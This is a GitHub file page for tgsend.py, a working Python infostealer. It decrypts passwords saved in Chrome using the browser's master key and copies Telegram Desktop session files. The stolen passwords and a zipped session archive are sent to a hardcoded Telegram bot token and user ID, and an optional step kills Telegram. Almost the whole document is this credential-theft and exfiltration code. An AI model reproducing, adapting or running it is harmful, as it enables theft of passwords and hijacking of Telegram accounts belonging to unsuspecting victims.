-
Notifications
You must be signed in to change notification settings - Fork 6
/
tgsend.py
234 lines (202 loc) · 8.83 KB
/
tgsend.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
try:
from telebot import TeleBot
import shutil
import json
from base64 import b64decode
from win32crypt import CryptUnprotectData
from Crypto.Cipher import AES
import os
import sqlite3
import win32api
from zipfile import ZipFile
except Exception as e:
print("ERROR importing: " + repr(e))
pass
log_out = 0 # 1 - is on, 0 - is off
user_id = 441449437
token = '1192426793:AAHf4BSxdOehAukZp0SOxQMjmSanrkU6Klc'
name_ur_txt = 'pass.txt'
bot = TeleBot(token)
pathusr = os.path.expanduser('~')
local = os.getenv("LOCALAPPDATA")
temp = os.path.join(local, "Temp")
ttemp = os.path.join(local, "Temp", "tdata")
#desktop = os.path.join(pathusr, "Desktop\\tdata\\")
paths = ['C:\\', 'D:\\', 'E:\\', 'F:\\', 'G:\\', 'H:\\', 'I:\\', 'J:\\']
path = os.path.expandvars(r'%LocalAppData%\Google\Chrome\User Data\Local State')
def getmasterkey():
try:
with open(path, encoding="utf-8") as f:
load = json.load(f)["os_crypt"]["encrypted_key"]
master_key = b64decode(load)
master_key = master_key[5:]
master_key = CryptUnprotectData(master_key, None, None, None, 0)[1]
return master_key
except:
print("ERROR: couldn't access the masterkey")
pass
def decryption(buff, key):
try:
payload = buff[15:]
iv = buff[3:15]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass[:-16].decode()
return decrypted_pass
except Exception as e:
print("ERROR in decryption: " + repr(e))
def Chrome():
text = 'YOUR PASSWORDS\n'
try:
if os.path.exists(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data'):
shutil.copy2(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data',
os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
conn = sqlite3.connect(os.getenv("LOCALAPPDATA") + '\\Google\\Chrome\\User Data\\Default\\Login Data2')
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
password = result[2]
login = result[1]
url = result[0]
decrypted_pass = decryption(password, getmasterkey())
text += url + ' | ' + login + ' | ' + decrypted_pass + '\n'
with open(name_ur_txt, "w", encoding="utf-8") as f:
f.write(text)
except Exception as e:
print("ERROR in Chrome() func: " + repr(e))
pass
def finddir(path):
for root, dirs, files in os.walk(path):
for name in dirs:
if name == "Telegram Desktop":
found = os.path.join(root, name)
print("***Checking folder: " + found)
if os.path.exists(found + '\\Telegram.exe'):
print("***OK Telegram Desktop has been found")
return found
else:
print("ERROR: ^ this is not an actual TG folder. Continuing...")
pass
def getFileProperties(fname):
props = {'FileVersion': None}
try:
# backslash as parm returns dictionary of numeric info corresponding to VS_FIXEDFILEINFO struc
fixedInfo = win32api.GetFileVersionInfo(fname, '\\')
props['FileVersion'] = "%d.%d.%d.%d" % (fixedInfo['FileVersionMS'] / 65536,
fixedInfo['FileVersionMS'] % 65536, fixedInfo['FileVersionLS'] / 65536,
fixedInfo['FileVersionLS'] % 65536)
except Exception as e:
print(repr(e))
pass
return props
def logout_windows(bool):
if bool:
try:
global pathd877
os.system('taskkill /f /im Telegram.exe')
os.remove(pathd877)
except Exception as e:
print("ERROR: Failed to logout: " + repr(e))
pass
else:
print("***Logout state is 0")
pass
def send_txt():
try:
bot.send_document(user_id, open(name_ur_txt,'rb'))
os.remove(name_ur_txt)
print("***OK Passwords have been sended successfully")
except Exception as e:
print("ERROR in send_txt() func: " + repr(e))
pass
def send_session_files(path):
version = getFileProperties(os.path.join(path[:-5],"Telegram.exe"))["FileVersion"]
try:
os.mkdir(ttemp)
print("good")
except:
print("err")
#print(user)
for root, dirs, files in os.walk(path):
for dir in dirs:
if dir[0:15] == "D877F783D5D3EF8":
mapsdir = os.path.join(path, dir)
try:
os.mkdir(os.path.join(ttemp, dir))
except:
pass
if os.path.exists(os.path.join(root,dir,'maps')):
#print("***OK Matched maps in " + path)
shutil.copy2(os.path.join(mapsdir, 'maps'), (os.path.join(ttemp,dir,"maps")))
elif dir[0:15] == "A7FDF864FBC10B7":
mapsdir = os.path.join(path, dir)
try:
os.mkdir(os.path.join(ttemp, dir))
except:
pass
if os.path.exists(os.path.join(root, dir, 'maps')):
#print("***OK Matched maps in " + path)
shutil.copy2(os.path.join(mapsdir, 'maps'), (os.path.join(ttemp, dir, "maps")))
elif dir[0:15] == "F8806DD0C461824":
mapsdir = os.path.join(path, dir)
try:
os.mkdir(os.path.join(ttemp, dir))
except:
pass
if os.path.exists(os.path.join(root, dir, 'maps')):
#print("***OK Matched maps in " + path)
shutil.copy2(os.path.join(mapsdir, 'maps'), (os.path.join(ttemp, dir, "maps")))
# bot.send_document(user_id, open(os.path.join(mapsdir, file), 'rb'), caption=path + "\nVersion: " + user)
for file in files:
if file[0:15] == "D877F783D5D3EF8":
#print("***OK Matched D877F783D5D3EF8 in " + path)
pathd877 = os.path.join(path, file)
shutil.copy2(pathd877,(os.path.join(ttemp,file)))
#bot.send_document(user_id, open(os.path.join(file, pathd877), 'rb'), caption=path + "\nVersion: " + user)
elif file[0:15] == "A7FDF864FBC10B7":
#print("***OK Matched D877F783D5D3EF8 in " + path)
pathd877 = os.path.join(path, file)
shutil.copy2(pathd877,(os.path.join(ttemp,file)))
elif file[0:15] == "F8806DD0C461824":
#print("***OK Matched D877F783D5D3EF8 in " + path)
pathd877 = os.path.join(path, file)
shutil.copy2(pathd877,(os.path.join(ttemp,file)))
elif file == "key_datas":
#print("***OK Matched key_datas in " + path)
pathkey = os.path.join(path, file)
shutil.copy2(pathkey, (os.path.join(ttemp, file)))
#bot.send_document(user_id, open(os.path.join(file, pathkey), 'rb'), caption=path + "\nVersion: " + user)
with ZipFile(os.path.join(temp,'tdata.zip'), 'w') as zipObj:
# Iterate over all the files in directory
for folderName, subfolders, filenames in os.walk(ttemp):
for filename in filenames:
# create complete filepath of file in directory
filePath = os.path.join(folderName, filename)
# Add file to zip
zipObj.write(filePath)
bot.send_document(user_id, open(os.path.join(temp, 'tdata.zip'), 'rb'), caption=path + "\nVersion: " + version)
if os.path.exists(pathusr + '\\AppData\\Roaming\\Telegram Desktop'):
tddir = (pathusr + '\\AppData\\Roaming\\Telegram Desktop\\')
tdata_path = (pathusr + '\\AppData\\Roaming\\Telegram Desktop\\tdata')
print("***OK Default TG folder has been found")
send_session_files(tdata_path)
else:
print("ERROR: Telegram folder is not default. Continuing...")
for i in paths:
found = finddir(i)
if found != None and found != (pathusr + '\\AppData\\Roaming\\Telegram Desktop'):
tddir = found
tdata_path = (os.path.join(tddir, "tdata"))
send_session_files(tdata_path)
def main():
try:
Chrome()
bot.send_message(user_id, pathusr)
send_txt()
logout_windows(log_out)
except Exception as e:
print('ERROR: Main function: ' + repr(e))
pass
if __name__ == '__main__':
main()
print("***Finished***")